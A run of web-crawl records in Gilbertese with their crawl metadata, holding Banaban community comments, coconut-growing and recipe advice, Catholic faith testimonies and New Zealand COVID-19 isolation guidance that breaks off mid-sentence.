anakea ana raoraoma ba ana karaua ni karaoia ba e aonga n reke abaia kanoan Nei Moa ao Nei Karibaieta.koa reitia mai ikanne\nmauri moa,koa kanga ngkai Terenga ko tuaini baki ba ai bon buburam naba anne.ngai mai ikai i bon rangi ni marurung ao akea au kanganga ao ngkami kam uara ma natimi mai ikanne.Ngai ae Abera are teina mangkekei ao bon teina naba ao akea taina irouna ti te tai ao ngkami.hahahahahaha.akea au katekeraoi nakoia mwaneu ai kanne ao Tariu naba ai kanne ao Tangami ngkai ea roko te xmas ao te Happy New Year.koa reitia mai ikanne\nmauri mai Lami....hey Aunty how'z things n everyone over dea...well nothing much dis side except for the lovo pack from savutalele, mehn their lovo was really good n we received 3 packs....good thing dat fiji mission is paying....hahaha...ao ngke, any special news....hola bak wif ur latest...take care n regardz to da family especially 2 those ugly monkeys u have @ home...lol\nMauri aunty...ko uara ma kain am auc.......gaira ikai ma kaka kabua maeng ti marurung raoi.....................ao aunty e ngaa te mmwaane n uumwa anne??.........Been...ai antai naba buuna .........ao i nag nanokawaki gkai ea iein ao e tuai reke ana job....ma e aoria.....ma tuaga Been bwa ena keiakina ana rei2................ao kamauri nakoina ma buuna ane boou anne.........\nao antai moa aran buuna??kai inag kan ataia?\nao aura kain kain ami auc???ahahh...a marurung kerr....ao Nei kurebe ane nei Taamaki e ngaa te aine anne...tuangnga bwa ena katuraoia bwa iani kawaina ngai n nakoati nako fiji...........ma ena kaktauraoia imaiu kerr.........\naunty ko a maga reisa mai ikanne bwa i akn ataa aran buun Been kerr\nao am email address i kainanoia bwa e aong n easy te maroro iai","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=17ztw2g6gduyy","date":"2023-01-30T17:23:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499826.71\/warc\/CC-MAIN-20230130165437-20230130195437-00322.warc.gz","language":"gil","language_score":0.999430418,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9994304180145264}","num_words":1088,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAEUN AO UNIKAN TE NII N KIRIBATI\nAra nii ni Kiribati bon nii aika ririeta ao a anga uana imwin 5- 6 te ririki imwin unikana. E kona te nii n anga uana ae 70 nakon 150 n te ririki.\nTokin maeun te nii aika ririeta bon 80 nakon 90 te ririki. Imwin taian kamatebwai ake a tia ni karaoaki iaon nii I Kiribati ao e kakoauaki bwa e nakon 40% aika a riaon 50 te ririki ake aikoa kariki uaa ake a bon tei ni karibwaribwa n taian buakonikai (FAO 2015).\nAron ienin nii ni Kiribati (Nii ake a rietata-local tall) e kaokoro ma taian nii rinano ke taian dwarf coconut. Te taume a ikotaki iaona ao te mane (uen n ari) ao te ain(nimoimoi are na ben) ao e kaokoro ana tai n raure te ue n tai ni kona n iein te nimoimoi ao te ue n ari (mane) a tia ni bane ana bauta are ngaia e na kaieina te nimoimoi.\nIbukin aio ao nimomoi a iein man bautan nii ake a katobibia ake a uouotaki n te ang ma maan n aron te manibeeru.\nRINEAN TE TINA N NI\n- Kakaea am tina n nii man te tabo ae rawata te nii iai\n- Teei inukan te tabo anne rinea te nii ae meuraoi, e tiraman rang ewaa uana aika bubura ao man toro raoi\n3.Tarai naba nii ake a tei man tainimainikuna bwa ana maeuraoi\nnaba man uaua ao ni bubura uaia bwa anne taman arokam te ben.\nARON RINEAN AROKAM TE BEN MAN TE TINA N NII\n1.Kakoaua raoi bwa te nii are ko na karekea arokam maiai e na\nmaeu raoi man aki aoraki\n- Rinea te ben are bon bubura raoi ao n buraun raoi (tiaki te amakai)\n- E na riai n neinei raoi man bati ranna inanona ngkana ko kaneineia (tiaki are takataka)\n- Tai arokana te ben ae tii\n- Kakoaua raoi bwa te ben are ko anaia bon uan te nii are ko tia n\nrineia bwa am tina n nii\nKABWEBWEAN TE BEN\n- Kakaea moa biroton te ben\n- Korea kanakoa ewanin matan te ben ni kaitara ma birotona\n- Kena aon tano ao kateboa te ben ni kabarara nakon matana n\nte aro are na baro te ran nakon matana are na bwebwe mai iai\n- Teboka te ben ao rabunna n te banni tai nang kamatenna\n- Tebokia teutana nikatoa bong ngkana akea te karau\nKUKANANAKIN TE KAORAORA N MOIMOTO AO IAROO KE IAMAII\nBWAINA:\n30 baan te iaroo\n6 te moimoto\n½ te mwangko te ranben ae e aki aokaki\n3 te buun n amwarake te tioio tiooti\n½ onions\n½ bwabwaia ae e mata uraura\n1 te remon ke te raim\nARON KARAOANA\n- Kakui banikai ao korokoroi nako nanon te boora\n- Kakaara marain te moimoto ao botia ma te banikai\n- Kabwaka te raniben, te tiooti, onions\n- Kabwaka te bwabwaia.\n- Karaua kabobooa raoi ao e a tauraoi nakon te kanaki.\nBONGANAN BWAIN TE NII NAKON TE RABWATA AKE E KABONGANAAKI.\n- TE MARAI\n2 bonganana nakon te rabwata bwa te Victim C ao te wakawaka. Te Victim C e bongana ibukin te kun ao ibukin tautan te rabwata man te naan man Aoraki.Te Wakawaka ngkanne e rang bongana ibukin marurungin te buro ao aron butin ma bonganan te amwarake n te rabwata. Bonganan te VIctamin C are inanon te marai e buoka ana mwakuri te Ion Nutrient are inanon te iamai ao te iaroo n kabirimwaaka. Te Ion nutrient ngkanne e tabe ibukin marurungin te rara inanon te rabwata.\n- TE RANIBEN\n2 bonganana nakon te rabwata bwa ibukin kiritin te rabwata ao te korakora.\nE rang bongana ibukin te korakora ibukin karaoan tibwangara aika a kakaokoro bwa e kakoauaaki bwa te ben ngkana e tabe n tai ao bonganana are inanona are e tabe ibukin te kakorakora e tabe n mwaiti inanona.\nE rang Tamaroa naba ibukiia ataei ake a tibwa bungiaki ibukin rikiraken rabwataia ma tautian rabwataia.\nE riai n ataaki bwa te kuuka aio are te salad e ti tau ibukiia kaain te mweenga ma tiaki ti temanna.","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/oifwpkiribati.org.ki\/news","date":"2023-01-27T17:34:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764495001.99\/warc\/CC-MAIN-20230127164242-20230127194242-00697.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":658,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"neiko e a tia n oki teuare nan Tevaitaake.au kantaninga ba ea bon tia n oki ao kam uara moa ngkai . eng kai ai bon te kamauri man ara tabo aio nakoimi ao kam a karokoa naba ara kamauri nakoia ami kaara akanne .e uara teuare nan Borau ea reke raman uana ngke ae bon kakaenako naba. E tau tekeraoi moa ngkami.\nneiko e nang raraba te reitaki ma need some more news frm dar\nl nang thanks riki am news titebo ma ia manga kang tang\nanyway its seems like l was with u guys gaia anne ma ko kina\ntemariti ke ko aki e taku ba emena naba i kanne ba ana\nfriend one fo my sis but if u know him then tell me about him ahahah\nao antai aika a tia ni iein kaain ara lots hey ti teuana au tai ni meet ma\ntekoteiti ao iaki naba ba ataku ba e nako ti naniku n rei2 ma iaki sure raoi ma neiko ae kana bo au tai ma taraia ia manga reitaki rimi\nker....................................","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/banabanvoice.ning.com\/profile\/kauaToaitaake889","date":"2023-01-27T13:38:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494986.94\/warc\/CC-MAIN-20230127132641-20230127162641-00005.warc.gz","language":"gil","language_score":0.9997038841,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997038841247559}","num_words":179,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"taiaioka kain te banaban voice au bubuc riki nkana iai ae ata aia contact natin Peter Atauea ma nei Teingira nkana iai iaon vitilevu ao ia bubuc aia contact. ba e kainanoia buu ae aia koraki. kam raraba\nko rabwa ti bane ni marurung raoi, tii Sesenga iai tabetai te mamara irouna imwin boona '2005. akea rongorongon ikai bwa te struggle bwa akea te cargo, e nang rimwi rokon te kaibuke mai tarawa ao irarikina e bon aki tau te cargo mai tarawa naba.\nComment Wall (3 comments)\nYou need to be a member of Banaban Voice to add comments!\nJoin Banaban Voice\ne rabwa te comment. long time kee..... u have nice fotos especially am training in the firefighting....au email address email@example.com\nMERRY XMAS AND HAPPY 201O to YOU, FLO and DAUGHTER","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/banabanvoice.ning.com\/profiles\/profile\/show?id=IotebaAtanimakin","date":"2023-03-23T10:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00629.warc.gz","language":"gil","language_score":0.9982337356,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9982337355613708}","num_words":131,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N 16 Aokati, 2010 ao e a taungai Nei Boua ba e nang katokabai teaba iaou. I bon nako ni kaea te katokabai ao man te tai anne are I a nora naba iai Ana Tangira Te Uea nakoiu. E boni katokabai teaba nte Umantabu are i Temao. I a bon namakina ae rangi ni korakora te bitaki irou. E bon roroko irou te aoraki arei ma ai tiaki arona mai imaina. I karaba te Uea ba a tia tabeu tabeua inanoni mengau, ao mai maina bon akea te makuri ae e kona n tia ba ai te riringaki naba ngai iroun kainabau.\nMan te tai anne ao I a bon kakaea naba te botaki ae te charismatic. N te bong ae 16 Tebetemba 2010 n te aoa 8 n te ingabong are a nang kainaomataki iai kaain te charismatic mai Temao, iroun te Tama Kaitabo, ao e a manga roko naba aorakiu. E bon tia te Tutia ni kainaomata ao te kauoman Tia Babaire nte NSC ae Kaoti are e roko mai Tarawa ibukin te kainaomata e a kaira naba te katoki aoraki iaou. Te bong naba anne are e a reke iai kamatoan au onimaki ngke I a kamaeuaki.\nI bon anga au tibatiba imwin te tai are I kamaeuaki iai. I karaba Te Uea n ana tangira ma ana akoi nakoiu ngkai E a tia ni kamaeuai. I kukurei n tibaia nakoimi tariu ma maneu ba I anga ngai ba ana tia kabuta ana rongorongo Iesu inanon te Charismatic. I a ataia raoi ba te oi n aro te Katorika.\nKam raba ao E Raba riki te Uea.\nRaawa Raakau, Onotoa","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/46-e-kamaeuai-te-uea","date":"2023-03-30T22:59:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949506.62\/warc\/CC-MAIN-20230330225648-20230331015648-00094.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":269,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beba ni katanoata ao bwai ni ibuobuoki a tauraoi n oin am taetae\nTi katauraoi bwaai aika mwaiti ni buoka am bitineti, tabo ni mwakuri, communities ao botaki nako, karekean te COVID-19 Protection Framework settings.\nKo kona n download ao n print ara logo, templates, posters, videos ao social medial tiles man ara Resource Toolkit","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/prepare-and-stay-safe\/","date":"2023-03-24T05:48:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945248.28\/warc\/CC-MAIN-20230324051147-20230324081147-00545.warc.gz","language":"gil","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9999979734420776}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tariu ao maneu I rangi ni karaba te Uea n te bong aio ngkai E angai te kibu ae Nna ae N kona iai n nora aron tekeraoiu ma kakabaiau ao kakawakiu iroun te Atua ngkai E a karikai ba Natina ngai ni koaua iroun Natina ae Iesu are roko iaon te aba, E tauraki mani mate ibukiu iaon te kaibangaki ao E kaboai n Rarana ae moan te Tabu ba I aonga n riki ba te aomata ae bou ae bon Natina ni koaua.\nN te bong aio ti anganaki te koaua ae moan te kamimi ba inanon kororaoin ana tangira te Uea ao ti a bane n riki ba Natin te Atua ngaira ao ti a kabaraki man te tautororonaki mai ian te bure ao ti a riki ni koaua ba Natin te Atua.\nAi kabaiara ngaira n ana tangira te Atua ibukira ba ai tiaki ngaira taian toro aika a tautaekanaki ma ti a riki ba tan natinaki ao tan baibai irarikin Iesu i Karawa.\nEng ti riai n ataia ba bon akea te bai ae ti na riai ni maku iai ba ti katobibiaki ao n rabaunaki n tainako n ana tangira te Atua are e katanira man taian kabuanibai. Ao ngkai ti bane ni katanaki n tai nako iroun te Atua ae moan te maka, moan te korakora ao moan te mimitong ao ti a taia ngkanne ba bon akea te bai ae ti na tabeaianga iai ba E kakawakinira n tai nako te Atua. N te bong aio ao ti kauringaki ba ti riai ni kororaoi n te tamaroa ao te nanoanga n aiaron Tanara are i Karawa ae oan te nanaoanga. Eng bon ana Nanoanga ao ana Karatia te Atua ae ngaia ae ti katanaki ao ni kawakinaki iai n tai nako ao boni ngaia naba ae anganira te kantaninga ba ngkana ti nim ma te Atua ao ti na kawakinaki n ana nanoanga te Atua ao ti na karekea te kabaia ae akea tokina n te Abanuea are i Karawa.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1779-natin-te-atua-ngai","date":"2023-06-05T02:25:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00293.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":338,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karina:\"Ao taninga ba N na wene moa ba e a bon rangi ni maraki. Ae e a uki ao ngkanne?\"\nMummy: \"kaukia ao nakon ane tamnein te Eukari…\"\nKarina:\" ae e nga iai ba I ti nora te bane ae e mainaina?\"\nMummy: \"ngaia anne mataku iai ao atonga am tataro aei ba I a reitiko mai ikai. Butia ba ko na tiba marakim ma ngaia ba e aonga ni kanakoa marakim. Aio am tataro Karina ba I a reitiko mai ikai-O Lord Jesus Christ in the Blessed Sacrament of the Eucharist, You who have given us Your Precious Body and Blood to be our meat and drink, grant that I may believe in Your real presence here with us at this moment so that you can touch and heal me straight away. Nanoangai Iesu ba I a kawa taiaoka, Amen\". Tuangai am experience imwiina bon katiako…\"\nN te tai aei ao I a bon kan katorobubua ba I namakina te ang ae moan te kamimi n tarakin te bane are e mainaina. Inanon te bane ao I nora te bai ae kanga aron tein au timoi ao I taku nakon Mummy.\nKarina:\"Mummy, I taraia mai ieta ba I tei ngkai ao I nora te nimoimoi ae kanga tao buburan au timoi ma I taku ba te buroo ao iai te bai ae rauniia ae e pink\".\nMummy: \"karabwa te Uea, Karina ba e kaota ana tangira nakoim ni buroona. E rabwa te Uea\".\nI a katorobubua ao aio ana marooro Iesu nakoiu n au tai ni katorobubua. I kukurei man karabaraba ba E tuangai ae N nang marurung man aorakiu ao Nna aki manga oki ni maraki ao e nang nakoraoi aorakiu. I katituaraoa te Uea ae Iesu ba n te bong are imwina I a aoraki n aine n akea te maraki ao e bong au bong n te reirei ba I karaoa au test ae teniua aoana maanna ao I kaei riki au reirei ake tabeua n akea te maraki are mai imwaina ngkana I aoraki n aine ao e nako tao onoua ke e bon wiki au tai ao raona are te maraki ni birito ao e nakon nukau. Ko raba te Uea n am kamaiu nakoiu, Aleluia alleluia!.\nKam raba tariu ao maneu ngkai kam a tia n ongora au karaka ma tinau ao au kantaninga ba ti na bane n reitaki n taai nako inanon ana tangira Iesu ae E maeu ni koaua inanon te Eukari. Ko raba riki Iesu n am tangira nakoiu.\nNei Karina, St Padre Pio, Suva, 2010","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/28-e-kamaiuai-man-aorakiu-iesu-n-te-eukari","date":"2023-06-05T03:47:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00354.warc.gz","language":"gil","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000075101852417}","num_words":426,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tariu ao maneu ti na bane ni katauraoira inanon te karemo aio ni butimaea te kamaiuaki ae uotaki nakoira iroun ana Rikitemanna te Atua are E kanakoa nako aonteaba ba E na uota te kamaiuaiki rinanon te rairannano man arora ni bure are kararoaira ma te Atua. Ba inanon te bure ao ti raurenako ma te Atua ao ti riki ba taenikai ngaira aika ti a tia kabua te aro n natinaki iroun te Atua aika a tia ni kabwautaki nakon te rotongitong ao te mate ae akea tokina.\nMa n ana anganano ae moan te kororaoi Iesu are are tine mani mate ibukira iaon te kaibangaki ao E kaboira n Rarana ae moan te tabu ao E kauka nakoira te kamaiuaki man te toronaki n te bure ao E a manga kaoka nakoira te aro n natinaki iroun te Tama.\nInanon te moan wareboki ao ti ongo karakinan te burabeti ae Iona ngke e mananga nako Niniwe ba e na uota taekan te rairannano ao te manga okira te Atua ba aonga ni kamaiuaki.\nMa ti ataia ba rokon te kamaiu nakoia kain Niniwe e bon reke man aia tauraoi ni butimaea rongorongon te rairannano ba aonga ni bita nanon te Atua ba E na uringa Nanona ao ana atataiaomata ma ana nanoanga n aki kamaunanakoia kain Niniwe. Te bai riki teuana ae katekenano n te karaki aio ba bon tauraoin nanon te Uea iaon Niniwe n anga te katoto ae tamaroa nakoia ana botanaomata ni karina te bua iaona ni kaotia ba ngaia e tauraoi n rinanon te kainano ma te rawawata ba kaotan te nanomaraki ma raraoma ibukin ana bure ao te bubuti aakon te Atua kabaran ana bure.\nNgaira ni kabane ti na kauki nanora ao n tauraoi ni kamarakira ni bubutia te Atua ba E na nanoangaira ao ni kabarai ara bure. Ti na keikina abui te bong ao abui te ngaina inanon te karemo aio ba ara tai n rairi nanora ba ti aonga n tauraoi ni butimaea mangauti inanon te bakate inanon te mimitong ae akea tokina.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1777-te-kanikina-ae-iona-nakoira-inanon-te-karemo","date":"2023-06-05T03:57:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00542.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":344,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkana e a kaoti iroum kanikinaean te COVID-19 inanon rokom i Nutiran | If you develop COVID-19 symptoms while visiting New Zealand\nN rokom iaon Nutiran, ao ti kaungako bwa kona karaoa am tutuo ibukin te COVID-19 ngkana iai kanikina iroum. Ko riai ni kaokoroko ni maeka inanon 7 te bong ngkana e a nakoraoi mwiin am tutuo. Welcome Packs iai kanoana bwaai n tutuo ibukin te aekaki n tutuo ae te rapid antigen test ake a tauraoi n anaaki n te Biosecurity imwiin rokom.\nKona kunea n aron ae e oti inano bwaai ake ko riai ni karaoi ngkana e a kaoti iroum kanikinaean te COVID-19 imwiin am 'tutuo n rokom' (n ke imwiin Bong 7 imwiin rokom).\nKaraoa te tutuo\nNgkana e a reke iroum kanikinaean te COVID-19, ko kona ni bubuti te bwai n tutuo ae akea boona ae te RATs n ootanna n te intanete ao n anai n taabo ake ana anaaki mai iai.\nBubuti te bwai n tutuo ae akea boona ae te RAT (external link)\nKakaea te tabo ibukin rikoan mwii te Tutuo ibukin COVID-19 irarikim | Healthpoint (external link)\nNgkana akea n reke iroum taian kanikina ma ko bon teimatoa ni kan tuoaki n te RAT ao ko kainanoa ae kona bon kaboa am bwai n tutuo n taian titoa tabeua, taabo ibukin taian bwainaoraki ke te mwakete ake a totoa.\nE kanga aron kabonganakin te bwai n tutuo ae tawe\nNgkana ko kuneaki ni iai iroum te aoraki\nNgkana ko kuneaki ni iai iroum te aoraki, tarebonia 0800 222 478 ke ribotina mwiin am tutuo n te RAT ae kaotia bwa iai iroum te aoraki.\nNgkana iai nambwan am tareboon ae maeu, te Botaki ibukin Te Mauri e na kanakoa ana rongorongo ae taibinaki man nambwa aika a katauaki aika 2328 ke 2648 ni kamatoa kuneakin te aoraki iroum. Te rongorongo ae taibinaki anne e na bon katauraoi rongorongo ibukin kaokoroam ni maeka ao te nambwa ibukin rinim n te intanete ibukin te booma ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia.\nKona bon bae ni kainanoa ae kona kawara te tabo n tutuo ao ni karekea tuoakim n te tutuo ae te PCR imwiin kuneakim n iai te aoraki iroum n am tutuo n te RAT. Te booma e na bon karokoaki nakoim rinanon te emeeri n te aro are ko kona ni print ke ni kaota katotona man te tareboon n taabo n tutuo.\nKakaea te tabo n Tutuo ibukin COVID-19 irarikim | Healthpoint (external link)\n1. Kaokoroko ni maeka\nBon tabem kakaean am tabo are kona kaokoroko ni maeka iai\nKo riai ni kaokoroko ni maeka inanon 7 te bong ngkana ko a marurung. Am bong akana 7 akanne e moanaki man te bong are a kaoti iroum kainikina ke n te bong are e a kuneaki te iroum te aoraki (n teina are e moan kaoti ai ngaia naba). Ngkana ko aki iri kaetieti, ao ko kona ni katuaeaki n te mwane.\nKo riai ni kaokoroko ni maeka n te tabo are ko mena iai ke ni kakaea am tabo ni maeka teuana.\nNooria ngkana ko kona ni kaanaua riki tikum ke ni kakatauraoiko ibukin kakaean am tabo riki teuana. Ko kantaningaki bwa ko nang kabwakai kabanemwane ake a irekereke ma kaanauan tikum ke kabaea am tabo ni maeka teuana. Tuoia ngkana ko kamanoaki iaan ana kainibaire te kamanomano ibukin te mwamwananga.\nAntai ae riai ni kaokoroaki ni maeka?\nAomata ake a maeka ma ngkoe n taian auti ni irua ake a boraoi ke taan rianna aki kainanoaki bwa ana kaokoroia, ti ngkana kaain am mwananga are ko 'kariaiakaki iai ni mwananga. A kaungaaki bwa ana karaoa aia tutuo ni katoa bong inanon 5 te bong. Ngkana e aki nakoraoi mwiin aia tutuo, ao a riai ni iri ni kabane kaetieti ibukin te tiku n okoro.\nNgkana ko aki kona n tiku n te tabo are kona maeka moa iai\nNgkana ko aki kona n tiku n te tabo are kona maeka moa iai, ao ko kona ni kakaea am tabo ae kona maeka iai. Taabo ni maeka ake ibukin te kaokoroaki e kona n ae te auti ni irua, te outero, ke te kaa auti ae toamau ma bwaai aika a kainanoaki. E riai n:\n- uakaan ma te tabo are ko mena iai\n- n akea iai tibwauakin bwaai irouia irua.\nKo aki kona:\n- n toka n te wanikiba nakon am tabo ni maeka\n- kabuti kaa n te raroa ae abwabwaki are e na kainanoa te tiku ni matu teuana te tairiki\n- n toka n te meeri ke te bao ni mwamwananga ibukin te botanaomata.\nE kona ni kabonganaki ae bon oin baom ni mwamwananga nakon am tabo ni maeka. E kona n ae bon oin am kaa, ke ko kona n kabooa tangoan te kaa teuana ngkana e kona ni karaoaki aio rinanon te bwakamwane ao te waaki n rikoriko ae akea te kaitibo iai.\nManga kangaraoia nakon te tai teuana ke ni kakea am babaronga\nReitaki ma te kambwana ni kibakiba ke te tia mwakuri ibukin te kaneweaba ibukin manga kangaraoan am babaronga ibukin mwanangam nakon te tai teuana ke bwaai ake kona karaoi. Taiaoka ma ataia, bwa akea kabaean te tia katauraoi bwaai iaan te tua ni kaoka am mwane ke ni manga kangaraoa am babaronga nakon te tai teuana.\nTera ae kona karaoia inanon te tai n tiku n onoti\nInanon te tai n tiku n onoti:\n- Totokoa te reitaki ma aomata ake ko maeka ma ngaia, n aron te katoto, matu ti ngkoe, kauarerekea te tai ae kona kabanea n taabo ake a ibuokanibwaiaki. Ngkana ko aki kona, ko na riai n taua raroam ae e aki kerikaki iaan 2 te mita ao ni kabongana rabunan te ubu are e rabuna bairim ao wiim ngkana ko kaan ma tabeman.\n- Karaoa am uati i bon iroum.\n- Kaitiaki mataniwin bwaai ni katoatai, n raonaki ma bwaai ake aki toki n ririringaki, n aron kaintauan te mataroa, bwain kauran te taura, tareboon.\n- Kauki winto ni kakorakora butin te ang ae e bou inanon te auti.\n- Kakoaua bwa ana nikiraki bwaai, n aron te amwarake ao te bwainaoraki.\n- Mwakuri man am tabo ni maeka ngkana ko kona ni karaoia.\nInanon am tai n tiku n onoti, tai:\n- kitana am tabo ni maeka e ngae ngkana iai bukina (ma ti ngkana iai bukina aika a kariaiakaki n aron aika a oti inano)\n- otinako ni karekea te amwarake ke te bwainaoraki\n- ni ibuokanibwai ma tabeman n am auti — n aron te katotof, bwai n amwarake, kai ni irewi, ao taian taara\n- nako nakon aia tabo te botanaomata\n- kabongana te bao ni mwamwananga ibukia te botanaomata ke te taekitii ao kaa ake a kona ni ibuobuokaki ibukin te mwamwananga\n- butimwaia irua, ma ti ngkana aomata ake a tabe ma kuakuakim ke temanna n am auti.\nAikai bukina aika a kariaiakaki iai kitanan am tabo are ko kaokoroko ni maeka iai\nKo kona ni kitana am tabo ni maeka ngkana kona kabongana n taainako nangoan te ubu ngkana kona:\n- riboti ibukin, ao karaoan, taian ukeuke ao tutuo ibukin marurungim ake a kainnanoaki\n- karekea buokan maurim ke bwainaorakiam are e aki kona n taonaki taina nakon muin banen am tai n tiku ni kaonotiko\n- mwaing nakon te tabo n tiku ni kaonoti teuana ibukin kawakinan maiun te aomata temanna, ke ibukin te katantan\n- kamarurung itinaniku n aonon te tabo are ko tiku iai – tai kabonganai bwaai ni kamarurung ake a kona ni ibuokanibwaiaki, n aron te tabo ni uaua n tebotebo\n- kawara am koraki are e kakaiaki n aoraki are e aki kantaningaki bwa e na maiu imuin banen am tai ni tiku ni kaonotiko\n- nora rabwatan am koraki imwain te taunimate ngkana ko na aki kona n nora te rabwata imuin banen am tai n tiku ni kaonotiko.\n2. Ririmwiaia ake a tia ni kaitibo ma ake iai te aoraki irouia\nTuangiia aomata bwa iai iroum te COVID-19\nTuangiia aomata ake ko maeka ma ngaiia, te tia katauraoa am tabo ni maeka, aomata ake ko a tia ni kabanea tabeua te tai ma ngaiia, ao tabeman riki ake ko a tia ni kaitibo ma ngaiia ae iai iroum te aoraki ae te COVID-19.\nKo na kanga n tuangiia aomata ae iai iroum te aoraki ae te COVID-19 | covid19.health.nz (external link)\nKanoa te booma n te intanete ibukin te booma ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia\nKanoa ana booma te Botaki ni Mwakuri ibukin Te Mauri ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia ni kabongana te ware ae 6-mwaitina are e karokoaki n am tareboon man nambwa aika a kinaaki aika 2328 ke 2648. E na anaa 5 ke 10 te miniti ibukin kanoakina.\nKabwanina kanoan te booma ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia | Botaki ni Mwakuri ibukin Te Mauri (external link)\n3. Kakaean te buotoka\nNgkana ko kainanoa te amwarake ke bwainaoraki\nNgkana ko kainanoa te amwarake ke bwaai riki tabeua ake a rangi ni kainanoaki inanon am tai ni kaokoroko, butiia kaain am utu ke raoraom bwa ana nikiria iroum. Ko kona naba n otani am bwai iaon te intanete ao ni baronga aron nikirakina n te aro are ana akea te kaitibo.\nNgkana ko kainanoa taeka ni ibuobuoki ibukin te marurung\nNgkana ko kainanoa te taeka ni ibuobuoki ibukin ae kona kanga ni bwainaorakia kanikina ke ngkana e rikirake kakaiakin kanikina ake iroum, tareboonia te Healthline. Ko kona naba ni bubuti ibukin te ibuobuoki iaon te raitaeka.\n- 0800 358 5453 — man te nambwa n tareboon mai Nutiran\n- +64 9 358 5453 — man te SIM ae mai abatera\nNgkana ko kainnanoa buokam ibukin maurim\nKona bae ni kabooa boon am bwainaoraki. Ti kaungaia taan roko bwa ana kabooa kamanoakia ibukin te mwamwananga imwain te mwananga.\nNgkana ngkoe kaain Aotiteria ke te Tia Maeka ae 